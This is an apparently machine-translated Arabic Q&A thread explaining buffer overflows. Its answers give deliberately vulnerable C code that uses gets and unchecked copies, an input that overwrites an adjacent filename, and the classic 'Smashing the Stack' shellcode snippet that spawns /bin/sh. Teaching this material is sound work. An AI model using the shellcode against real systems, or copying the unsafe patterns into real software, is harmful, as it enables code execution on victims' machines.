هل تستطيع أن تعطي مثالا على تجاوز سعة المخزن المؤقت؟
-
19-09-2019 - |
سؤال
لقد سمعت كثيرا عن تجاوزات المخزن المؤقت وصدق أنني أفهم المشكلة ولكن ما زلت لا أرى مثالا على القول
char buffer[16];
//code that will over write that buffer and launch notepad.exe
المحلول
أولا، تحتاج إلى برنامج سيطلق برامج أخرى. برنامج ينفذ نظام التشغيل exec
في بعض النماذج أو غيرها. هذا هو نظام التشغيل للغاية ولغة اللغة.
ثانيا، يجب أن يقرأ البرنامج الذي يطلق برامج أخرى من بعض المصدر الخارجي إلى مخزن مؤقت.
ثالثا، يجب عليك بعد ذلك فحص البرنامج قيد التشغيل - كما هو موضح في الذاكرة من قبل المحول البرمجي - لمعرفة كيفية وجود المخزن المؤقت للإدخال والمتغيرات الأخرى المستخدمة للخطوة 1 (بدء البرامج الأخرى).
رابعا، يجب عليك توصيل المدخلات التي ستتخلص في الواقع المخزن المؤقت وتعيين المتغيرات الأخرى.
لذا. الجزء 1 و 2 هو برنامج يبدو مثل هذا في C.
#include <someOSstuff>
char buffer[16];
char *program_to_run= "something.exe";
void main( char *args[] ) {
gets( buffer );
exec( program_to_run );
}
الجزء 3 يتطلب بعض التحليل لما buffer
و ال program_to_run
تبدو وكأنها، لكن ستجد أنه ربما فقط
\x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 s o m e t h i n g . e x e \x00
الجزء 4، المدخلات الخاصة بك، ثم يجب أن يكون
1234567890123456notepad.exe\x00
لذلك سوف تملأ buffer
والكتابة program_to_run
.
نصائح أخرى
"تحطيم المكدس للمتعة والربح" هو أفضل Howto / الأسئلة الشائعة في هذا الموضوع.
يرى: http://insecure.org/stf/smashstack.html.
هنا هو SNIP من بعض shellcode الفعلية:
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
}
هناك نوعان منفصلان:
الرمز الذي يفيض المخزن المؤقت، وهذا سهل القيام به وسينتهي على الأرجح مع خطأ تجزئة. وهو ما تم عرضه: Sprintf (المخزن المؤقت، "01234567890123456789")؛
وسيلة وضع رمز الذاكرة المكشوفة التي يتم تنفيذها بواسطة نظام التشغيل. هذا أصعب من مجرد التغلب على المخزن المؤقت، وترتبط بكيفية تنفيذ البرامج. وعادة ما يحصلون على التعليمات التالية للتنفيذ من مكدس، إذا كنت تمكنت من وضعها في القيمة التالية من تكديس التعليمات الصالحة عبر الكتابة فوق الذاكرة دون إنشاء فساد مؤشر التنفيذ (أو أي نوع آخر من الفساد)، فيمكنك إنشاء استغلال وبعد عادة ما يتم ذلك عن طريق وضع تعليمات القفز في المقربة قيمة القراءة من المكدس إلى قسم من الذاكرة التي تحتوي على رمز. هذا هو السبب في أن بمناسبة أقسام الذاكرة لأن غير قابل للتنفيذ يمكن أن يساعد على هذا النوع من الاستغلال.
حسنا، أنا لا أعرف كيفية إطلاق Notpad.exe، ولكن الكتابة فوق هذا المخزن المؤقت ببساطة القيام:
sprintf(buffer, "somestringlongerthan16");
int x[10];
x[11] = 1;
الطريقة التي يمكن استخدامها من الفضاد المخزن المؤقت لإنشاء كود القيام بشيء آخر غير المقصود، هو عن طريق كتابة البيانات خارج المخزن المؤقت المخصصين الكتابة فوق شيء آخر.
عادة ما تكون البيانات الكتابية هي التعليمات البرمجية في وظيفة أخرى، ولكن مثال بسيط يتم الكتابة فوق متغير بجوار المخزن المؤقت:
char buffer[16];
string myapp = "appmine.exe";
void execMe(string s) {
for (int i = 0; i < s.Length; i++) buffer[i] = s[i];
Sys.Execute(myapp, buffer);
}
إذا قمت باستدعاء الوظيفة بمزيد من البيانات من يمكن أن تعقد المخزن المؤقت، فستكتمل اسم الملف:
execMe("0123456789012345notepad");
gets(buffer);
لا توجد طريقة للاستخدام بشكل صحيح، لأنها لا تطلب حجم المخزن المؤقت.
scanf("%s", buffer);
سيقوم Scanf بقراءة إدخال السلسلة حتى يضرب Whitespace، فإن أنواع المستخدمين ستكون أكثر من 16 حرفا سيكون هناك تجاوزا مؤقتا.
phrack's تحطيم المكدس من أجل المتعة والربح لديه تفسير كاف لتمكينك من فعل ما تسأله.
للحصول على مثال بسيط انظر أيضا هنا:
حماية ضد بعض الهجمات المخزنة العازلة: هجوم مثال